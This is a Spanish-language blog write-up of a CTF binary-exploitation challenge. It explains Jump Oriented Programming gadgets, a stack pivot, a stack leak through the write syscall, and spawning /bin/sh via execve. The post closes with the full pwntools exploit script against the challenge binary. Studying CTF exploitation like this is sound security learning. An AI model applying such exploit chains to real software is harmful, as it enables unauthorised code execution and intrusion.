dplastico

Hace un tiempo el gran c4e me mostró un challenge que había preparado, el cual me gusto tanto que nos motivamos a hacer PWNDAY#01, donde hicimos algunos challenge pwn con diferentes dificultades, (básico-intermedio-pro), el nivel pro fue un reto de c4e que antes de lanzarlo obviamente me invito a que solucionara para ver la dificultad, el reto me costo MUCHO, me tomo mas de 18 horas solucionarlo parcializado en varios días (pero por que soy un un n00b :D, y bueno también porque nunca había utilizado JOP)

JOP o Jump Oriented Programming, es una técnica basada en ROP de la cual ya he hablado en este blog, pero en vez de usar un ret al final, usamos instrucciones de salto o JMP para volver a parte controlada del código con gadgets llamados dispatchers, para aprender más sobre JOP, acá hay un paper que explica bastante bien todo.

Primero comenzamos debugeando el binario, el cual podemos ver es un ejecutable x64

Observamos las protecciones del binario usando checksec

Las direcciones del binario se mantendrán debido al “flag” de “no-pie” esto nos será de ayuda ya que no debemos bypassear aslr usando gadgets dentro del binario, al observar el programa vemos que es bastante pequeno, escrtito en assembler, y con solo una funcion que lee

Ademas ya podemos observar que no hay aparentes instrucciones ret lo cual podemos comprobar ejecutando ropper y/o objdump

Además todos los saltos son a registros “dereference” ([reg]), por lo cual no podemos hacer, por ejemplo, un pop RCX y luego saltar a RCX, ya que el salto será a [RCX], por lo cual debemos ver la forma de filtrar alguna direccion del stack para poder calcular los offsets a cada registro.

Para nuestra suerte tenemos un primer gadget que podemos usar como dispatcher y es la dirección 4000c7, la cual suma 8 a RSP y luego salta al dereference de RSP-0x8 por tanto nos permitirá saltar a la dirección que pongamos antes en nuestro payload, por lo que la enviaremos de la siguiente forma:

Usamos la direccion 4000d4 como salto ya que dicha dirección contiene un push de RSP que empujara la dirección de RSP al stack y nos permitirá controlar el salto a RCX ya que RCX contendrá la dirección del stack donde se encuentra ADD RSP + 8 ; JMP [rsp-0x8]

Con esto ya podemos setear nuestro dispatcher en [RCX]  y aprovechando el vuelo usando los gadgets lo seteamos a RBP y r10 (ya que el código lo permite). Ahora cualquier instrucción que pongamos se ejecutará, siempre cuando tenga un salto a [RCX]. [RBP] o [r10]

Ahora nos topamos con otro obstáculo! El stack es muy pequeño, qué podemos hacer? Pivotear!, pues para eso usaremos la instrucción en 400131 la cual le resta 0x100 al stack con esto haremos un salto atrasa 32 bytes de nuestro salto inicial

Seteamos el dispatcher nuevamente a RCX y ahora ejecutamos el syscall de write, para que write? Pues dado que no tenemos idea de donde encontrar nuestro stack para poder hacer una llamada a los registros sin tener que forzosamente dar cero a RAX (otro problema), pues debemos lekear una dirección del stack, para esto usaremos write y escribiremos el leak al stdout para leerlo. Con esto el programa se ejecutara de nuevo, pero esta vez tendremos la dirección del stack a nuestro alcance para hacer los cálculos de gadgets correspondientes

Perfecto ya con este leak podemos comenzar a preparar nuevamente el exploit repitiendo los primeros pasos pero esta vez en vez de llamar a write, jugaremos con los valores de los registros para poder llamar a execve() con el offset desde nuestro leak al string de /bin/sh que enviaremos al comienzo del payload

Perfecto y ejecutamos y SHELL

Disfrute mucho este reto, siento que cuando uno se ve atrapado es cuando uno más aprende, de verdad felicitaciones nuevamente al creador del reto. EL resto de solucioens pueden verlas en mi github

https://github.com/dplastico/pwnday01

Aca les dejo el exploit final:

from pwn import *

#0x4000c5 syscall
#offset 2 24
r = process('./juujuu')
#gdb.attach(r)
#r = remote('159.89.45.52', 5555)
empezando = "/bin/sh\0" #controlamos este registro, rsi

#stage 1
#------------------------------------------------------------#
#construyendo salto atras
jop = "A" * 24
#saltando a rsp +8 , [rsp-8]
jop += p64(0x4000d4)
jop += p64(0x4000c7)
#write syscall para hacer un leak del stack
jop += p64(0x4000fc)
jop += p64(0x004000b0)

junk = "A" * (cyclic_find('qaac')-len(empezando)-8-len(jop))                        
payload = empezando                                                               
payload += jop                                                                      
payload += junk

#seteando [rcx] a dispatcher                                                    
payload += p64(0x4000d4)                                                   
payload += p64(0x4000c7)

#[rbp] a dispatcher
payload += p64(0x00000000004000cf)

#setear r10 a dispatcher, por que si no mas
payload += p64(0x4000ec)

#mas stack (pivot)                                                      
payload += p64(0x0000000000400131)#sub rsp 100                                  
r.sendline(payload)

#--------------------------------------------------------#

#stage2
#recibiendo leak del stack
resp = u64(r.recv(8))
print "LEAK  STACK  :   ",hex(resp)

#seteando salto atras para syscall final execve()
jop2 = "A" * 32
#
jop2 += p64(0x4000de) #inc RAX
jop2 += p64(resp)#restaurando rcx
jop2 += p64(0x4000de) #inc RAX
jop2 += p64(resp)#restaurando rcx
jop2 += p64(0x4000de) #inc RAX
jop2 += p64(resp)#restaurando rcx
jop2 += p64(0x400108)#add rax 12
jop2 += p64(0x400108)#add rax 12
jop2 += p64(0x400108)#add rax 12
jop2 += p64(0x400125)
jop2 += p64(resp-0x1c8) #address the bin sh enviada esta 0x1c8 del leak de stack
jop2 += p64(0x40011b)# xor los otros reg
jop2 += p64(resp)
jop2 += p64(0x400101) #syscall

junk = "A" * (cyclic_find('qaac')-len(empezando)-8-len(jop2))                                             
payload2 = empezando  #/bin/sh                                                               
payload2 += jop2                                                                     
payload2 += junk
#seteando [rcx] a dispatcher                                                   
payload2 += p64(0x4000d5) #rax a 0x0 y luego a 0x1                                                  
payload2 += p64(resp)#restaurando rcx
payload2 += p64(0x4000de) #inc RAX
payload2 += p64(resp)#restaurando rcx
#ganando stack
payload2 += p64(0x0000000000400131)#sub rsp 100                                            
r.sendline(payload2)

r.interactive()